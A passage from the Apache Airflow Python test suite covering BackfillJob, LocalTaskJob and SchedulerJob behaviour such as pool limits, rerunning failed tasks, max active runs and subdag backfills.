executor=executor, start_date=DEFAULT_DATE, end_date=DEFAULT_DATE + datetime.timedelta(days=7), ) try: job.run() except AirflowException: return self.fail() def test_backfill_respect_pool_limit(self): session = settings.Session() slots = 2 pool = Pool( pool='pool_with_two_slots', slots=slots, ) session.add(pool) session.commit() dag = self._get_dummy_dag( dag_id='test_backfill_respect_pool_limit', pool=pool.pool, ) executor = TestExecutor(do_update=True) job = BackfillJob( dag=dag, executor=executor, start_date=DEFAULT_DATE, end_date=DEFAULT_DATE + datetime.timedelta(days=7), ) job.run() self.assertTrue(0 < len(executor.history)) pool_was_full_at_least_once = False running_tis_total = 0 for running_tis in executor.history: self.assertLessEqual(len(running_tis), slots) running_tis_total += len(running_tis) if len(running_tis) == slots: pool_was_full_at_least_once = True self.assertEquals(8, running_tis_total) self.assertTrue(pool_was_full_at_least_once) def test_backfill_run_rescheduled(self): dag = DAG( dag_id='test_backfill_run_rescheduled', start_date=DEFAULT_DATE, schedule_interval='@daily') with dag: DummyOperator( task_id='test_backfill_run_rescheduled_task-1', dag=dag, ) dag.clear() executor = TestExecutor(do_update=True) job = BackfillJob(dag=dag, executor=executor, start_date=DEFAULT_DATE, end_date=DEFAULT_DATE + datetime.timedelta(days=2), ) job.run() ti = TI(task=dag.get_task('test_backfill_run_rescheduled_task-1'), execution_date=DEFAULT_DATE) ti.refresh_from_db() ti.set_state(State.UP_FOR_RESCHEDULE) job = BackfillJob(dag=dag, executor=executor, start_date=DEFAULT_DATE, end_date=DEFAULT_DATE + datetime.timedelta(days=2), rerun_failed_tasks=True ) job.run() ti = TI(task=dag.get_task('test_backfill_run_rescheduled_task-1'), execution_date=DEFAULT_DATE) ti.refresh_from_db() self.assertEqual(ti.state, State.SUCCESS) def test_backfill_rerun_failed_tasks(self): dag = DAG( dag_id='test_backfill_rerun_failed', start_date=DEFAULT_DATE, schedule_interval='@daily') with dag: DummyOperator( task_id='test_backfill_rerun_failed_task-1', dag=dag) dag.clear() executor = TestExecutor(do_update=True) job = BackfillJob(dag=dag, executor=executor, start_date=DEFAULT_DATE, end_date=DEFAULT_DATE + datetime.timedelta(days=2), ) job.run() ti = TI(task=dag.get_task('test_backfill_rerun_failed_task-1'), execution_date=DEFAULT_DATE) ti.refresh_from_db() ti.set_state(State.FAILED) job = BackfillJob(dag=dag, executor=executor, start_date=DEFAULT_DATE, end_date=DEFAULT_DATE + datetime.timedelta(days=2), rerun_failed_tasks=True ) job.run() ti = TI(task=dag.get_task('test_backfill_rerun_failed_task-1'), execution_date=DEFAULT_DATE) ti.refresh_from_db() self.assertEqual(ti.state, State.SUCCESS) def test_backfill_rerun_upstream_failed_tasks(self): dag = DAG( dag_id='test_backfill_rerun_upstream_failed', start_date=DEFAULT_DATE, schedule_interval='@daily') with dag: t1 = DummyOperator(task_id='test_backfill_rerun_upstream_failed_task-1', dag=dag) t2 = DummyOperator(task_id='test_backfill_rerun_upstream_failed_task-2', dag=dag) t1.set_upstream(t2) dag.clear() executor = TestExecutor(do_update=True) job = BackfillJob(dag=dag, executor=executor, start_date=DEFAULT_DATE, end_date=DEFAULT_DATE + datetime.timedelta(days=2), ) job.run() ti = TI(task=dag.get_task('test_backfill_rerun_upstream_failed_task-1'), execution_date=DEFAULT_DATE) ti.refresh_from_db() ti.set_state(State.UPSTREAM_FAILED) job = BackfillJob(dag=dag, executor=executor, start_date=DEFAULT_DATE, end_date=DEFAULT_DATE + datetime.timedelta(days=2), rerun_failed_tasks=True ) job.run() ti = TI(task=dag.get_task('test_backfill_rerun_upstream_failed_task-1'), execution_date=DEFAULT_DATE) ti.refresh_from_db() self.assertEqual(ti.state, State.SUCCESS) def test_backfill_rerun_failed_tasks_without_flag(self): dag = DAG( dag_id='test_backfill_rerun_failed', start_date=DEFAULT_DATE, schedule_interval='@daily') with dag: DummyOperator( task_id='test_backfill_rerun_failed_task-1', dag=dag) dag.clear() executor = TestExecutor(do_update=True) job = BackfillJob(dag=dag, executor=executor, start_date=DEFAULT_DATE, end_date=DEFAULT_DATE + datetime.timedelta(days=2), ) job.run() ti = TI(task=dag.get_task('test_backfill_rerun_failed_task-1'), execution_date=DEFAULT_DATE) ti.refresh_from_db() ti.set_state(State.FAILED) job = BackfillJob(dag=dag, executor=executor, start_date=DEFAULT_DATE, end_date=DEFAULT_DATE + datetime.timedelta(days=2), rerun_failed_tasks=False ) with self.assertRaises(AirflowException): job.run() def test_backfill_ordered_concurrent_execute(self): dag = DAG( dag_id='test_backfill_ordered_concurrent_execute', start_date=DEFAULT_DATE, schedule_interval="@daily") with dag: op1 = DummyOperator(task_id='leave1') op2 = DummyOperator(task_id='leave2') op3 = DummyOperator(task_id='upstream_level_1') op4 = DummyOperator(task_id='upstream_level_2') op5 = DummyOperator(task_id='upstream_level_3') # order randomly op2.set_downstream(op3) op1.set_downstream(op3) op4.set_downstream(op5) op3.set_downstream(op4) dag.clear() executor = TestExecutor(do_update=True) job = BackfillJob(dag=dag, executor=executor, start_date=DEFAULT_DATE, end_date=DEFAULT_DATE + datetime.timedelta(days=2), ) job.run() # test executor history keeps a list history = executor.history # check if right order. Every loop has a 'pause' (0) to change state # from RUNNING to SUCCESS. # 6,0,3,0,3,0,3,0 = 8 loops self.assertEqual(8, len(history)) loop_count = 0 while len(history) > 0: queued_tasks = history.pop(0) if loop_count == 0: # first loop should contain 6 tasks (3 days x 2 tasks) self.assertEqual(6, len(queued_tasks)) if loop_count == 2 or loop_count == 4 or loop_count == 6: # 3 days x 1 task self.assertEqual(3, len(queued_tasks)) loop_count += 1 def test_backfill_pooled_tasks(self): """ Test that queued tasks are executed by BackfillJob """ session = settings.Session() pool = Pool(pool='test_backfill_pooled_task_pool', slots=1) session.add(pool) session.commit() dag = self.dagbag.get_dag('test_backfill_pooled_task_dag') dag.clear() job = BackfillJob( dag=dag, start_date=DEFAULT_DATE, end_date=DEFAULT_DATE) # run with timeout because this creates an infinite loop if not # caught with timeout(seconds=30): job.run() ti = TI( task=dag.get_task('test_backfill_pooled_task'), execution_date=DEFAULT_DATE) ti.refresh_from_db() self.assertEqual(ti.state, State.SUCCESS) def test_backfill_depends_on_past(self): """ Test that backfill respects ignore_depends_on_past """ dag = self.dagbag.get_dag('test_depends_on_past') dag.clear() run_date = DEFAULT_DATE + datetime.timedelta(days=5) # backfill should deadlock self.assertRaisesRegexp( AirflowException, 'BackfillJob is deadlocked', BackfillJob(dag=dag, start_date=run_date, end_date=run_date).run) BackfillJob( dag=dag, start_date=run_date, end_date=run_date, ignore_first_depends_on_past=True).run() # ti should have succeeded ti = TI(dag.tasks[0], run_date) ti.refresh_from_db() self.assertEqual(ti.state, State.SUCCESS) def test_run_ignores_all_dependencies(self): """ Test that run respects ignore_all_dependencies """ dag_id = 'test_run_ignores_all_dependencies' dag = self.dagbag.get_dag('test_run_ignores_all_dependencies') dag.clear() task0_id = 'test_run_dependent_task' args0 = ['run', '-A', dag_id, task0_id, DEFAULT_DATE.isoformat()] cli.run(self.parser.parse_args(args0)) ti_dependent0 = TI( task=dag.get_task(task0_id), execution_date=DEFAULT_DATE) ti_dependent0.refresh_from_db() self.assertEqual(ti_dependent0.state, State.FAILED) task1_id = 'test_run_dependency_task' args1 = ['run', '-A', dag_id, task1_id, (DEFAULT_DATE + datetime.timedelta(days=1)).isoformat()] cli.run(self.parser.parse_args(args1)) ti_dependency = TI( task=dag.get_task(task1_id), execution_date=DEFAULT_DATE + datetime.timedelta(days=1)) ti_dependency.refresh_from_db() self.assertEqual(ti_dependency.state, State.FAILED) task2_id = 'test_run_dependent_task' args2 = ['run', '-A', dag_id, task2_id, (DEFAULT_DATE + datetime.timedelta(days=1)).isoformat()] cli.run(self.parser.parse_args(args2)) ti_dependent = TI( task=dag.get_task(task2_id), execution_date=DEFAULT_DATE + datetime.timedelta(days=1)) ti_dependent.refresh_from_db() self.assertEqual(ti_dependent.state, State.SUCCESS) def test_run_naive_taskinstance(self): """ Test that we can run naive (non-localized) task instances """ NAIVE_DATE = datetime.datetime(2016, 1, 1) dag_id = 'test_run_ignores_all_dependencies' dag = self.dagbag.get_dag('test_run_ignores_all_dependencies') dag.clear() task0_id = 'test_run_dependent_task' args0 = ['run', '-A', dag_id, task0_id, NAIVE_DATE.isoformat()] cli.run(self.parser.parse_args(args0)) ti_dependent0 = TI( task=dag.get_task(task0_id), execution_date=NAIVE_DATE) ti_dependent0.refresh_from_db() self.assertEqual(ti_dependent0.state, State.FAILED) def test_cli_backfill_depends_on_past(self): """ Test that CLI respects -I argument """ dag_id = 'test_dagrun_states_deadlock' run_date = DEFAULT_DATE + datetime.timedelta(days=1) args = [ 'backfill', dag_id, '-l', '-s', run_date.isoformat(), ] dag = self.dagbag.get_dag(dag_id) dag.clear() self.assertRaisesRegexp( AirflowException, 'BackfillJob is deadlocked', cli.backfill, self.parser.parse_args(args)) cli.backfill(self.parser.parse_args(args + ['-I'])) ti = TI(dag.get_task('test_depends_on_past'), run_date) ti.refresh_from_db() # task ran self.assertEqual(ti.state, State.SUCCESS) dag.clear() def test_cli_backfill_depends_on_past_backwards(self): """ Test that CLI respects -B argument and raises on interaction with depends_on_past """ dag_id = 'test_depends_on_past' start_date = DEFAULT_DATE + datetime.timedelta(days=1) end_date = start_date + datetime.timedelta(days=1) args = [ 'backfill', dag_id, '-l', '-s', start_date.isoformat(), '-e', end_date.isoformat(), '-I' ] dag = self.dagbag.get_dag(dag_id) dag.clear() cli.backfill(self.parser.parse_args(args + ['-I'])) ti = TI(dag.get_task('test_dop_task'), end_date) ti.refresh_from_db() # runs fine forwards self.assertEqual(ti.state, State.SUCCESS) # raises backwards expected_msg = 'You cannot backfill backwards because one or more tasks depend_on_past: {}'.format( 'test_dop_task') self.assertRaisesRegexp( AirflowException, expected_msg, cli.backfill, self.parser.parse_args(args + ['-B'])) def test_cli_receives_delay_arg(self): """ Tests that the --delay argument is passed correctly to the BackfillJob """ dag_id = 'example_bash_operator' run_date = DEFAULT_DATE args = [ 'backfill', dag_id, '-s', run_date.isoformat(), '--delay_on_limit', '0.5', ] parsed_args = self.parser.parse_args(args) self.assertEqual(0.5, parsed_args.delay_on_limit) def _get_dag_test_max_active_limits(self, dag_id, max_active_runs=1): dag = DAG( dag_id=dag_id, start_date=DEFAULT_DATE, schedule_interval="@hourly", max_active_runs=max_active_runs ) with dag: op1 = DummyOperator(task_id='leave1') op2 = DummyOperator(task_id='leave2') op3 = DummyOperator(task_id='upstream_level_1') op4 = DummyOperator(task_id='upstream_level_2') op1 >> op2 >> op3 op4 >> op3 dag.clear() return dag def test_backfill_max_limit_check_within_limit(self): dag = self._get_dag_test_max_active_limits( 'test_backfill_max_limit_check_within_limit', max_active_runs=16) start_date = DEFAULT_DATE - datetime.timedelta(hours=1) end_date = DEFAULT_DATE executor = TestExecutor(do_update=True) job = BackfillJob(dag=dag, start_date=start_date, end_date=end_date, executor=executor, donot_pickle=True) job.run() dagruns = DagRun.find(dag_id=dag.dag_id) self.assertEqual(2, len(dagruns)) self.assertTrue(all([run.state == State.SUCCESS for run in dagruns])) def test_backfill_max_limit_check(self): dag_id = 'test_backfill_max_limit_check' run_id = 'test_dagrun' start_date = DEFAULT_DATE - datetime.timedelta(hours=1) end_date = DEFAULT_DATE dag_run_created_cond = threading.Condition() def run_backfill(cond): cond.acquire() try: dag = self._get_dag_test_max_active_limits(dag_id) # this session object is different than the one in the main thread thread_session = settings.Session() # Existing dagrun that is not within the backfill range dag.create_dagrun( run_id=run_id, state=State.RUNNING, execution_date=DEFAULT_DATE + datetime.timedelta(hours=1), start_date=DEFAULT_DATE, ) thread_session.commit() cond.notify() finally: cond.release() executor = TestExecutor(do_update=True) job = BackfillJob(dag=dag, start_date=start_date, end_date=end_date, executor=executor, donot_pickle=True) job.run() thread_session.close() backfill_job_thread = threading.Thread(target=run_backfill, name="run_backfill", args=(dag_run_created_cond,)) dag_run_created_cond.acquire() session = settings.Session() backfill_job_thread.start() try: # at this point backfill can't run since the max_active_runs has been # reached, so it is waiting dag_run_created_cond.wait(timeout=1.5) dagruns = DagRun.find(dag_id=dag_id) dr = dagruns[0] self.assertEqual(1, len(dagruns)) self.assertEqual(dr.run_id, run_id) # allow the backfill to execute by setting the existing dag run to SUCCESS, # backfill will execute dag runs 1 by 1 dr.set_state(State.SUCCESS) session.merge(dr) session.commit() session.close() backfill_job_thread.join() dagruns = DagRun.find(dag_id=dag_id) self.assertEqual(3, len(dagruns)) # 2 from backfill + 1 existing self.assertEqual(dagruns[-1].run_id, dr.run_id) finally: dag_run_created_cond.release() def test_backfill_max_limit_check_no_count_existing(self): dag = self._get_dag_test_max_active_limits( 'test_backfill_max_limit_check_no_count_existing') start_date = DEFAULT_DATE end_date = DEFAULT_DATE # Existing dagrun that is within the backfill range dag.create_dagrun(run_id="test_existing_backfill", state=State.RUNNING, execution_date=DEFAULT_DATE, start_date=DEFAULT_DATE) executor = TestExecutor(do_update=True) job = BackfillJob(dag=dag, start_date=start_date, end_date=end_date, executor=executor, donot_pickle=True) job.run() # BackfillJob will run since the existing DagRun does not count for the max # active limit since it's within the backfill date range. dagruns = DagRun.find(dag_id=dag.dag_id) # will only be able to run 1 (the existing one) since there's just # one dag run slot left given the max_active_runs limit self.assertEqual(1, len(dagruns)) self.assertEqual(State.SUCCESS, dagruns[0].state) def test_backfill_max_limit_check_complete_loop(self): dag = self._get_dag_test_max_active_limits( 'test_backfill_max_limit_check_complete_loop') start_date = DEFAULT_DATE - datetime.timedelta(hours=1) end_date = DEFAULT_DATE # Given the max limit to be 1 in active dag runs, we need to run the # backfill job 3 times success_expected = 2 executor = TestExecutor(do_update=True) job = BackfillJob(dag=dag, start_date=start_date, end_date=end_date, executor=executor, donot_pickle=True) job.run() success_dagruns = len(DagRun.find(dag_id=dag.dag_id, state=State.SUCCESS)) running_dagruns = len(DagRun.find(dag_id=dag.dag_id, state=State.RUNNING)) self.assertEqual(success_expected, success_dagruns) self.assertEqual(0, running_dagruns) # no dag_runs in running state are left def test_sub_set_subdag(self): dag = DAG( 'test_sub_set_subdag', start_date=DEFAULT_DATE, default_args={'owner': 'owner1'}) with dag: op1 = DummyOperator(task_id='leave1') op2 = DummyOperator(task_id='leave2') op3 = DummyOperator(task_id='upstream_level_1') op4 = DummyOperator(task_id='upstream_level_2') op5 = DummyOperator(task_id='upstream_level_3') # order randomly op2.set_downstream(op3) op1.set_downstream(op3) op4.set_downstream(op5) op3.set_downstream(op4) dag.clear() dr = dag.create_dagrun(run_id="test", state=State.RUNNING, execution_date=DEFAULT_DATE, start_date=DEFAULT_DATE) executor = TestExecutor(do_update=True) sub_dag = dag.sub_dag(task_regex="leave*", include_downstream=False, include_upstream=False) job = BackfillJob(dag=sub_dag, start_date=DEFAULT_DATE, end_date=DEFAULT_DATE, executor=executor) job.run() self.assertRaises(sqlalchemy.orm.exc.NoResultFound, dr.refresh_from_db) # the run_id should have changed, so a refresh won't work drs = DagRun.find(dag_id=dag.dag_id, execution_date=DEFAULT_DATE) dr = drs[0] self.assertEqual(BackfillJob.ID_FORMAT_PREFIX.format(DEFAULT_DATE.isoformat()), dr.run_id) for ti in dr.get_task_instances(): if ti.task_id == 'leave1' or ti.task_id == 'leave2': self.assertEqual(State.SUCCESS, ti.state) else: self.assertEqual(State.NONE, ti.state) def test_backfill_fill_blanks(self): dag = DAG( 'test_backfill_fill_blanks', start_date=DEFAULT_DATE, default_args={'owner': 'owner1'}, ) with dag: op1 = DummyOperator(task_id='op1') op2 = DummyOperator(task_id='op2') op3 = DummyOperator(task_id='op3') op4 = DummyOperator(task_id='op4') op5 = DummyOperator(task_id='op5') op6 = DummyOperator(task_id='op6') dag.clear() dr = dag.create_dagrun(run_id='test', state=State.RUNNING, execution_date=DEFAULT_DATE, start_date=DEFAULT_DATE) executor = TestExecutor(do_update=True) session = settings.Session() tis = dr.get_task_instances() for ti in tis: if ti.task_id == op1.task_id: ti.state = State.UP_FOR_RETRY ti.end_date = DEFAULT_DATE elif ti.task_id == op2.task_id: ti.state = State.FAILED elif ti.task_id == op3.task_id: ti.state = State.SKIPPED elif ti.task_id == op4.task_id: ti.state = State.SCHEDULED elif ti.task_id == op5.task_id: ti.state = State.UPSTREAM_FAILED # op6 = None session.merge(ti) session.commit() session.close() job = BackfillJob(dag=dag, start_date=DEFAULT_DATE, end_date=DEFAULT_DATE, executor=executor) self.assertRaisesRegexp( AirflowException, 'Some task instances failed', job.run) self.assertRaises(sqlalchemy.orm.exc.NoResultFound, dr.refresh_from_db) # the run_id should have changed, so a refresh won't work drs = DagRun.find(dag_id=dag.dag_id, execution_date=DEFAULT_DATE) dr = drs[0] self.assertEqual(dr.state, State.FAILED) tis = dr.get_task_instances() for ti in tis: if ti.task_id in (op1.task_id, op4.task_id, op6.task_id): self.assertEqual(ti.state, State.SUCCESS) elif ti.task_id == op2.task_id: self.assertEqual(ti.state, State.FAILED) elif ti.task_id == op3.task_id: self.assertEqual(ti.state, State.SKIPPED) elif ti.task_id == op5.task_id: self.assertEqual(ti.state, State.UPSTREAM_FAILED) def test_backfill_execute_subdag(self): dag = self.dagbag.get_dag('example_subdag_operator') subdag_op_task = dag.get_task('section-1') subdag = subdag_op_task.subdag subdag.schedule_interval = '@daily' start_date = timezone.utcnow() executor = TestExecutor(do_update=True) job = BackfillJob(dag=subdag, start_date=start_date, end_date=start_date, executor=executor, donot_pickle=True) job.run() history = executor.history subdag_history = history[0] # check that all 5 task instances of the subdag 'section-1' were executed self.assertEqual(5, len(subdag_history)) for sdh in subdag_history: ti = sdh[3] self.assertIn('section-1-task-', ti.task_id) subdag.clear() dag.clear() def test_subdag_clear_parentdag_downstream_clear(self): dag = self.dagbag.get_dag('example_subdag_operator') subdag_op_task = dag.get_task('section-1') subdag = subdag_op_task.subdag subdag.schedule_interval = '@daily' executor = TestExecutor(do_update=True) job = BackfillJob(dag=subdag, start_date=DEFAULT_DATE, end_date=DEFAULT_DATE, executor=executor, donot_pickle=True) with timeout(seconds=30): job.run() ti0 = TI( task=subdag.get_task('section-1-task-1'), execution_date=DEFAULT_DATE) ti0.refresh_from_db() self.assertEqual(ti0.state, State.SUCCESS) sdag = subdag.sub_dag( task_regex='section-1-task-1', include_downstream=True, include_upstream=False) sdag.clear( start_date=DEFAULT_DATE, end_date=DEFAULT_DATE, include_parentdag=True) ti0.refresh_from_db() self.assertEqual(State.NONE, ti0.state) ti1 = TI( task=dag.get_task('some-other-task'), execution_date=DEFAULT_DATE) self.assertEqual(State.NONE, ti1.state) # Checks that all the Downstream tasks for Parent DAG # have been cleared for task in subdag_op_task.downstream_list: ti = TI( task=dag.get_task(task.task_id), execution_date=DEFAULT_DATE ) self.assertEqual(State.NONE, ti.state) subdag.clear() dag.clear() def test_backfill_execute_subdag_with_removed_task(self): """ Ensure that subdag operators execute properly in the case where an associated task of the subdag has been removed from the dag definition, but has instances in the database from previous runs. """ dag = self.dagbag.get_dag('example_subdag_operator') subdag = dag.get_task('section-1').subdag executor = TestExecutor(do_update=True) job = BackfillJob(dag=subdag, start_date=DEFAULT_DATE, end_date=DEFAULT_DATE, executor=executor, donot_pickle=True) removed_task_ti = TI( task=DummyOperator(task_id='removed_task'), execution_date=DEFAULT_DATE, state=State.REMOVED) removed_task_ti.dag_id = subdag.dag_id session = settings.Session() session.merge(removed_task_ti) with timeout(seconds=30): job.run() for task in subdag.tasks: instance = session.query(TI).filter( TI.dag_id == subdag.dag_id, TI.task_id == task.task_id, TI.execution_date == DEFAULT_DATE).first() self.assertIsNotNone(instance) self.assertEqual(instance.state, State.SUCCESS) removed_task_ti.refresh_from_db() self.assertEqual(removed_task_ti.state, State.REMOVED) subdag.clear() dag.clear() def test_update_counters(self): dag = DAG( dag_id='test_manage_executor_state', start_date=DEFAULT_DATE) task1 = DummyOperator( task_id='dummy', dag=dag, owner='airflow') job = BackfillJob(dag=dag) session = settings.Session() dr = dag.create_dagrun(run_id=DagRun.ID_PREFIX, state=State.RUNNING, execution_date=DEFAULT_DATE, start_date=DEFAULT_DATE, session=session) ti = TI(task1, dr.execution_date) ti.refresh_from_db() ti_status = BackfillJob._DagRunTaskStatus() # test for success ti.set_state(State.SUCCESS, session) ti_status.running[ti.key] = ti job._update_counters(ti_status=ti_status) self.assertTrue(len(ti_status.running) == 0) self.assertTrue(len(ti_status.succeeded) == 1) self.assertTrue(len(ti_status.skipped) == 0) self.assertTrue(len(ti_status.failed) == 0) self.assertTrue(len(ti_status.to_run) == 0) ti_status.succeeded.clear() # test for skipped ti.set_state(State.SKIPPED, session) ti_status.running[ti.key] = ti job._update_counters(ti_status=ti_status) self.assertTrue(len(ti_status.running) == 0) self.assertTrue(len(ti_status.succeeded) == 0) self.assertTrue(len(ti_status.skipped) == 1) self.assertTrue(len(ti_status.failed) == 0) self.assertTrue(len(ti_status.to_run) == 0) ti_status.skipped.clear() # test for failed ti.set_state(State.FAILED, session) ti_status.running[ti.key] = ti job._update_counters(ti_status=ti_status) self.assertTrue(len(ti_status.running) == 0) self.assertTrue(len(ti_status.succeeded) == 0) self.assertTrue(len(ti_status.skipped) == 0) self.assertTrue(len(ti_status.failed) == 1) self.assertTrue(len(ti_status.to_run) == 0) ti_status.failed.clear() # test for retry ti.set_state(State.UP_FOR_RETRY, session) ti_status.running[ti.key] = ti job._update_counters(ti_status=ti_status) self.assertTrue(len(ti_status.running) == 0) self.assertTrue(len(ti_status.succeeded) == 0) self.assertTrue(len(ti_status.skipped) == 0) self.assertTrue(len(ti_status.failed) == 0) self.assertTrue(len(ti_status.to_run) == 1) ti_status.to_run.clear() # test for reschedule ti.set_state(State.UP_FOR_RESCHEDULE, session) ti_status.running[ti.key] = ti job._update_counters(ti_status=ti_status) self.assertTrue(len(ti_status.running) == 0) self.assertTrue(len(ti_status.succeeded) == 0) self.assertTrue(len(ti_status.skipped) == 0) self.assertTrue(len(ti_status.failed) == 0) self.assertTrue(len(ti_status.to_run) == 1) ti_status.to_run.clear() # test for none ti.set_state(State.NONE, session) ti_status.running[ti.key] = ti job._update_counters(ti_status=ti_status) self.assertTrue(len(ti_status.running) == 0) self.assertTrue(len(ti_status.succeeded) == 0) self.assertTrue(len(ti_status.skipped) == 0) self.assertTrue(len(ti_status.failed) == 0) self.assertTrue(len(ti_status.to_run) == 1) ti_status.to_run.clear() session.close() def test_dag_get_run_dates(self): def get_test_dag_for_backfill(schedule_interval=None): dag = DAG( dag_id='test_get_dates', start_date=DEFAULT_DATE, schedule_interval=schedule_interval) DummyOperator( task_id='dummy', dag=dag, owner='airflow', ) return dag test_dag = get_test_dag_for_backfill() self.assertEqual([DEFAULT_DATE], test_dag.get_run_dates( start_date=DEFAULT_DATE, end_date=DEFAULT_DATE)) test_dag = get_test_dag_for_backfill(schedule_interval="@hourly") self.assertEqual([DEFAULT_DATE - datetime.timedelta(hours=3), DEFAULT_DATE - datetime.timedelta(hours=2), DEFAULT_DATE - datetime.timedelta(hours=1), DEFAULT_DATE], test_dag.get_run_dates( start_date=DEFAULT_DATE - datetime.timedelta(hours=3), end_date=DEFAULT_DATE,)) def test_backfill_run_backwards(self): dag = self.dagbag.get_dag("test_start_date_scheduling") dag.clear() job = BackfillJob( dag=dag, start_date=DEFAULT_DATE, end_date=DEFAULT_DATE + datetime.timedelta(days=1), run_backwards=True ) job.run() session = settings.Session() tis = session.query(TI).filter( TI.dag_id == 'test_start_date_scheduling' and TI.task_id == 'dummy' ).order_by(TI.execution_date).all() queued_times = [ti.queued_dttm for ti in tis] self.assertTrue(queued_times == sorted(queued_times, reverse=True)) self.assertTrue(all([ti.state == State.SUCCESS for ti in tis])) dag.clear() session.close() class LocalTaskJobTest(unittest.TestCase): def setUp(self): clear_db_runs() def test_localtaskjob_essential_attr(self): """ Check whether essential attributes of LocalTaskJob can be assigned with proper values without intervention """ dag = DAG( 'test_localtaskjob_essential_attr', start_date=DEFAULT_DATE, default_args={'owner': 'owner1'}) with dag: op1 = DummyOperator(task_id='op1') dag.clear() dr = dag.create_dagrun(run_id="test", state=State.SUCCESS, execution_date=DEFAULT_DATE, start_date=DEFAULT_DATE) ti = dr.get_task_instance(task_id=op1.task_id) job1 = LocalTaskJob(task_instance=ti, ignore_ti_state=True, executor=SequentialExecutor()) essential_attr = ["dag_id", "job_type", "start_date", "hostname"] check_result_1 = [hasattr(job1, attr) for attr in essential_attr] self.assertTrue(all(check_result_1)) check_result_2 = [getattr(job1, attr) is not None for attr in essential_attr] self.assertTrue(all(check_result_2)) @patch('os.getpid') def test_localtaskjob_heartbeat(self, mock_pid): session = settings.Session() dag = DAG( 'test_localtaskjob_heartbeat', start_date=DEFAULT_DATE, default_args={'owner': 'owner1'}) with dag: op1 = DummyOperator(task_id='op1') dag.clear() dr = dag.create_dagrun(run_id="test", state=State.SUCCESS, execution_date=DEFAULT_DATE, start_date=DEFAULT_DATE, session=session) ti = dr.get_task_instance(task_id=op1.task_id, session=session) ti.state = State.RUNNING ti.hostname = "blablabla" session.commit() job1 = LocalTaskJob(task_instance=ti, ignore_ti_state=True, executor=SequentialExecutor()) self.assertRaises(AirflowException, job1.heartbeat_callback) mock_pid.return_value = 1 ti.state = State.RUNNING ti.hostname = get_hostname() ti.pid = 1 session.merge(ti) session.commit() ret = job1.heartbeat_callback() self.assertEqual(ret, None) mock_pid.return_value = 2 self.assertRaises(AirflowException, job1.heartbeat_callback) @unittest.skipIf('mysql' in configuration.conf.get('core', 'sql_alchemy_conn'), "flaky when run on mysql") @unittest.skipIf('postgresql' in configuration.conf.get('core', 'sql_alchemy_conn'), 'flaky when run on postgresql') def test_mark_success_no_kill(self): """ Test that ensures that mark_success in the UI doesn't cause the task to fail, and that the task exits """ dagbag = models.DagBag( dag_folder=TEST_DAG_FOLDER, include_examples=False, ) dag = dagbag.dags.get('test_mark_success') task = dag.get_task('task1') session = settings.Session() dag.clear() dag.create_dagrun(run_id="test", state=State.RUNNING, execution_date=DEFAULT_DATE, start_date=DEFAULT_DATE, session=session) ti = TI(task=task, execution_date=DEFAULT_DATE) ti.refresh_from_db() job1 = LocalTaskJob(task_instance=ti, ignore_ti_state=True) process = multiprocessing.Process(target=job1.run) process.start() ti.refresh_from_db() for i in range(0, 50): if ti.state == State.RUNNING: break time.sleep(0.1) ti.refresh_from_db() self.assertEqual(State.RUNNING, ti.state) ti.state = State.SUCCESS session.merge(ti) session.commit() process.join(timeout=10) self.assertFalse(process.is_alive()) ti.refresh_from_db() self.assertEqual(State.SUCCESS, ti.state) def test_localtaskjob_double_trigger(self): dagbag = models.DagBag( dag_folder=TEST_DAG_FOLDER, include_examples=False, ) dag = dagbag.dags.get('test_localtaskjob_double_trigger') task = dag.get_task('test_localtaskjob_double_trigger_task') session = settings.Session() dag.clear() dr = dag.create_dagrun(run_id="test", state=State.SUCCESS, execution_date=DEFAULT_DATE, start_date=DEFAULT_DATE, session=session) ti = dr.get_task_instance(task_id=task.task_id, session=session) ti.state = State.RUNNING ti.hostname = get_hostname() ti.pid = 1 session.commit() ti_run = TI(task=task, execution_date=DEFAULT_DATE) job1 = LocalTaskJob(task_instance=ti_run, ignore_ti_state=True, executor=SequentialExecutor()) with patch.object(BaseTaskRunner, 'start', return_value=None) as mock_method: job1.run() mock_method.assert_not_called() ti = dr.get_task_instance(task_id=task.task_id, session=session) self.assertEqual(ti.pid, 1) self.assertEqual(ti.state, State.RUNNING) session.close() class SchedulerJobTest(unittest.TestCase): def setUp(self): clear_db_runs() clear_db_pools() clear_db_dags() clear_db_sla_miss() clear_db_errors() @classmethod def setUpClass(cls): cls.dagbag = DagBag() def getboolean(section, key): if section.lower() == 'core' and key.lower() == 'load_examples': return False else: return configuration.conf.getboolean(section, key) cls.patcher = mock.patch('airflow.jobs.conf.getboolean') mock_getboolean = cls.patcher.start() mock_getboolean.side_effect = getboolean @classmethod def tearDownClass(cls): cls.patcher.stop() @staticmethod def run_single_scheduler_loop_with_no_dags(dags_folder): """ Utility function that runs a single scheduler loop without actually changing/scheduling any dags. This is useful to simulate the other side effects of running a scheduler loop, e.g. to see what parse errors there are in the dags_folder. :param dags_folder: the directory to traverse :type directory: str """ scheduler = SchedulerJob( dag_id='this_dag_doesnt_exist', # We don't want to actually run anything num_runs=1, subdir=os.path.join(dags_folder)) scheduler.heartrate = 0 scheduler.run() def _make_simple_dag_bag(self, dags): return SimpleDagBag([SimpleDag(dag) for dag in dags]) def test_no_orphan_process_will_be_left(self): empty_dir = mkdtemp() current_process = psutil.Process() old_children = current_process.children(recursive=True) scheduler = SchedulerJob(subdir=empty_dir, num_runs=1) scheduler.executor = TestExecutor() scheduler.run() shutil.rmtree(empty_dir) # Remove potential noise created by previous tests. current_children = set(current_process.children(recursive=True)) - set( old_children) self.assertFalse(current_children) def test_process_executor_events(self): dag_id = "test_process_executor_events" dag_id2 = "test_process_executor_events_2" task_id_1 = 'dummy_task' dag = DAG(dag_id=dag_id, start_date=DEFAULT_DATE) dag2 = DAG(dag_id=dag_id2, start_date=DEFAULT_DATE) task1 = DummyOperator(dag=dag, task_id=task_id_1) DummyOperator(dag=dag2, task_id=task_id_1) dagbag1 = self._make_simple_dag_bag([dag]) dagbag2 = self._make_simple_dag_bag([dag2]) scheduler = SchedulerJob() session = settings.Session() ti1 = TI(task1, DEFAULT_DATE) ti1.state = State.QUEUED session.merge(ti1) session.commit() executor = TestExecutor() executor.event_buffer[ti1.key] = State.FAILED scheduler.executor = executor # dag bag does not contain dag_id scheduler._process_executor_events(simple_dag_bag=dagbag2) ti1.refresh_from_db() self.assertEqual(ti1.state, State.QUEUED) # dag bag does contain dag_id scheduler._process_executor_events(simple_dag_bag=dagbag1) ti1.refresh_from_db() self.assertEqual(ti1.state, State.FAILED) ti1.state = State.SUCCESS session.merge(ti1) session.commit() executor.event_buffer[ti1.key] = State.SUCCESS 